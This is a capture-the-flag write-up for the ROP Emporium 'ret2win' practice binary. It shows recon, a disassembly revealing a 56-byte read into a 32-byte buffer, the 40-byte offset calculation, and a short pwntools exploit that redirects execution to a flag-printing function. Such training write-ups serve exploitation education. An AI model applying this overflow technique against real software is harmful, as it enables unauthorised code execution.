ROP Emporium: ret2win
Classic buffer overflow exploiting a vulnerable read() to redirect execution to a win function
contents
#Challenge Info
Basic ret2win style challenge - overflow a buffer to redirect program execution to a function that prints the flag.
#Recon
$ file ret2win
ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped64-bit executable, dynamically linked, not stripped - symbols will be available for analysis.
pwndbg> checksec
File: ret2win
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: NoKey takeaways:
- No stack canary - buffer overflow won't be detected
- NX enabled - can't execute shellcode on the stack
- No PIE - addresses are fixed, no ASLR on the binary
#Finding the Target
pwndbg> info functions
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400756 ret2winThree functions of interest: main, pwnme, and conveniently named ret2win at 0x400756.
#Vulnerability Analysis
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
...
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
...
End of assembler dump.
The vulnerability is clear - classic buffer overflow pattern:
| Safe Pattern | Unsafe Pattern (This Binary) |
|---|---|
sub rsp,0x20 (allocate 32 bytes) |
sub rsp,0x20 (allocate 32 bytes) |
lea rax,[rbp-0x20] (point to buffer) |
lea rax,[rbp-0x20] (point to buffer) |
mov edx,0x20 (read 32 bytes) |
mov edx,0x38 (read 56 bytes) |
The program allocates 32 bytes but reads 56 bytes - that's 24 bytes of overflow, enough to overwrite the saved RBP (8 bytes) and return address (8 bytes).
#Calculating the Offset
Stack layout at pwnme:
[buffer: 32 bytes] [saved RBP: 8 bytes] [return address: 8 bytes]
^
rbp-0x20
Offset to return address: 32 + 8 = 40 bytes
#Exploitation
The exploit is straightforward:
- Send 40 bytes of padding to reach the return address
- Overwrite return address with
ret2winfunction address
from pwn import *
p = process('./ret2win')
payload = b'A' * 40
payload += p64(0x400756) # ret2win address
p.sendline(payload)
p.interactive()When pwnme executes ret, it pops our crafted address into RIP and jumps to ret2win, which prints the flag.